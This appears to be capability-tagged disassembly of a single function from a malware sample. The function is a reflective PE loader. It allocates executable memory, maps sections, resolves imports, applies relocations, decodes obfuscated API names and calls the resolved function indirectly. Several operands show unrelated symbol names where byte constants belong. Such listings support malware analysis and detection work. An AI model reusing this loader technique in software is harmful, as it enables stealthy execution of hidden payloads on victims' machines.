Function at 0x18000c1c8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rbx, qword [0x18020c108]
mov eax, 0x5a4d
mov rsi, rcx
cmp word [rbx], ax
jne 0x18000c5a3
movsxd rdi, dword [rbx + 0x3c]
add rdi, rbx
cmp dword [rdi], 0x4550
jne 0x18000c5a3
xor r13d, r13d
test rcx, rcx
jne 0x18000c23c
mov edx, dword [rdi + 0x50]
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x18000c5a3
mov r8d, dword [rdi + 0x54]
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx r14d, word [rdi + 0x14]
movzx r15d, word [rdi + 6]
add r14, 0x2c
test r15d, r15d
je 0x18000c281
add r14, rdi
mov ecx, dword [r14 - 8]
mov edx, dword [r14]
add rcx, rsi
mov r8d, dword [r14 - 4]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r14, [r14 + 0x28]
add r15d, 0xffffffff
jne 0x18000c261
mov ebx, dword [rdi + 0x90]
add rbx, rsi
jmp 0x18000c343
mov ecx, dword [rbx + 0xc]
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
je 0x18000c33f
mov r15d, dword [rbx]
mov r14d, dword [rbx + 0x10]
add r15, rsi
add r14, rsi
jmp 0x18000c331
test r15, r15
je 0x18000c2ec
cmp qword [r15], r13
jge 0x18000c2ec
movsxd rax, dword [r12 + 0x3c]
movzx edx, word [r15]
mov ecx, dword [rax + r12 + 0x88]
mov eax, dword [rcx + r12 + 0x10]
mov ecx, dword [rcx + r12 + 0x1c]
sub rdx, rax
add rcx, r12
mov eax, dword [rcx + rdx*4]
add rax, r12
mov qword [r14], rax
jmp 0x18000c31f
mov r13, qword [r14]
mov rcx, r12
add r13, rsi
lea rdx, [r13 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [r14], rax
or r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + r13 + 2], 0
jne 0x18000c306
xor edx, edx
lea rcx, [r13 + 2]
call sub.VCRUNTIME140.dll_memset
xor r13d, r13d
lea rax, [r15 + 8]
add r14, 8
test r15, r15
cmove rax, r15
mov r15, rax
cmp qword [r14], r13
jne 0x18000c2b6
and qword [rbx + 4], 0
mov dword [rbx + 0x10], r13d
add rbx, 0x14
cmp dword [rbx], r13d
jne 0x18000c28f
mov ebx, dword [rdi + 0xb4]
mov r9d, 0xa
mov r11, rsi
mov qword [rbp - 8], r9
sub r11, qword [rdi + 0x30]
lea r14d, [r9 - 9]
lea r12d, [r9 - 8]
test ebx, ebx
je 0x18000c41e
mov edx, dword [rdi + 0xb0]
mov r15d, 0xfff
add rdx, rsi
mov eax, dword [rdx + 4]
test eax, eax
je 0x18000c418
mov r8d, dword [rdx]
lea rdi, [rdx + 8]
mov r9d, eax
add r8, rsi
sub r9, 8
shr r9, 1
jmp 0x18000c3fc
movzx r10d, word [rdi]
dec r9d
movzx eax, r10w
movzx ecx, r10w
shr ax, 0xc
cmp ax, word [rbp - 8]
jne 0x18000c3c5
and r10, r15
add qword [r10 + r8], r11
jmp 0x18000c3f9
cmp ax, 3
jne 0x18000c3d4
and rcx, r15
add dword [rcx + r8], r11d
jmp 0x18000c3f9
cmp ax, r14w
jne 0x18000c3eb
and rcx, r15
mov rax, r11
shr rax, 0x10
add word [rcx + r8], ax
jmp 0x18000c3f9
cmp ax, r12w
jne 0x18000c3f9
and rcx, r15
add word [rcx + r8], r11w
add rdi, r12
test r9d, r9d
jne 0x18000c3a3
mov eax, dword [rdx + 4]
add rdx, rax
sub ebx, eax
mov eax, r13d
and qword [rdx], 0
test ebx, ebx
jne 0x18000c385
mov r9d, 0xa
mov byte [rbp - 0x40], 0xad
xor eax, eax
mov byte [rbp - 0x3f], 0x87
xorps xmm0, xmm0
mov byte [rbp - 0x3e], 0xb5
mov rcx, r13
mov byte [rbp - 0x3d], 0x8f
mov byte [rbp - 0x3c], 0x86
mov byte [rbp - 0x3b], 0x88
mov byte [rbp - 0x3a], SysAllocStringByteLen
mov byte [rbp - 0x39], 0xb2
mov byte [rbp - 0x38], 0x8d
mov byte [rbp - 0x37], 0x88
mov byte [rbp - 0x36], 0x87
mov byte [rbp - 0x35], 0x89
mov byte [rbp - 0x34], 0x86
mov byte [rbp - 0x33], 0x98
mov byte [rbp - 0x32], 0x87
mov byte [rbp - 0x31], SysAllocStringByteLen
mov byte [rbp - 0x30], 0x8c
mov byte [rbp - 0x2f], 0x8d
mov byte [rbp - 0x2e], 0xb8
mov byte [rbp - 0x2d], 0x9a
mov byte [rbp - 0x2c], 0x98
mov byte [rbp - 0x2b], SysAllocStringByteLen
mov byte [rbp - 0x2a], reloc.OLEAUT32.dll_DllRegisterServer
mov byte [rbp - 0x29], r13b
mov qword [rbp - 0x18], rax
mov word [rbp - 0x10], ax
mov al, byte [rbp - 0x40]
movups xmmword [rbp - 0x28], xmm0
mov al, byte [rbp + rcx - 0x40]
not al
sub al, 4
mov byte [rbp + rcx - 0x40], al
add rcx, r14
cmp rcx, 0x17
jb 0x18000c495
mov byte [rbp - 0x29], r13b
mov cl, 0x6c
mov dword [rbp - 0x60], socket
mov r8, r13
mov eax, dword [rbp - 0x60]
mov rdx, r13
xor al, 0x6e
not al
mov byte [rbp - 0x5c], al
mov eax, dword [rbp - 0x60]
add al, r14b
xor al, 0x74
not al
mov byte [rbp - 0x5b], al
mov eax, dword [rbp - 0x60]
add al, r12b
xor al, 0x64
not al
mov byte [rbp - 0x5a], al
mov eax, dword [rbp - 0x60]
add al, 3
xor al, cl
not al
mov byte [rbp - 0x59], al
mov eax, dword [rbp - 0x60]
add al, 4
xor al, cl
not al
mov byte [rbp - 0x58], al
mov eax, dword [rbp - 0x60]
add al, 5
xor al, 0x2e
not al
mov byte [rbp - 0x57], al
mov eax, dword [rbp - 0x60]
add al, 6
xor al, 0x64
not al
mov byte [rbp - 0x56], al
mov eax, dword [rbp - 0x60]
add al, 7
xor al, cl
not al
mov byte [rbp - 0x55], al
mov eax, dword [rbp - 0x60]
add al, 8
xor al, cl
not al
mov byte [rbp - 0x54], al
xor eax, eax
mov dword [rbp - 0x4b], eax
mov qword [rbp - 0x53], rax
mov byte [rbp - 0x47], al
mov al, byte [rbp - 0x5c]
mov al, byte [rbp - 0x54]
movsd xmm0, qword [rbp - 0x5c]
mov byte [rbp - 0x49], al
movsd qword [rbp - 0x51], xmm0
test rdx, rdx
je 0x18000c557
test r14b, dl
jne 0x18000c557
mov byte [rbp + rdx - 0x5d], r13b
mov cl, byte [rbp + r8 - 0x51]
mov eax, dword [rbp - 0x60]
not cl
add al, r8b
add r8, r14
xor al, cl
mov byte [rbp + rdx - 0x5c], al
add rdx, r12
cmp r8, r9
jb 0x18000c548
mov byte [rbp - 0x4a], r13b
lea rcx, [rbp - 0x5c]
mov byte [rbp - 0x49], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
xor edx, edx
or rcx, 0xffffffffffffffff
call rax
xor eax, eax
jmp 0x18000c5a6
or eax, 0xffffffff
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret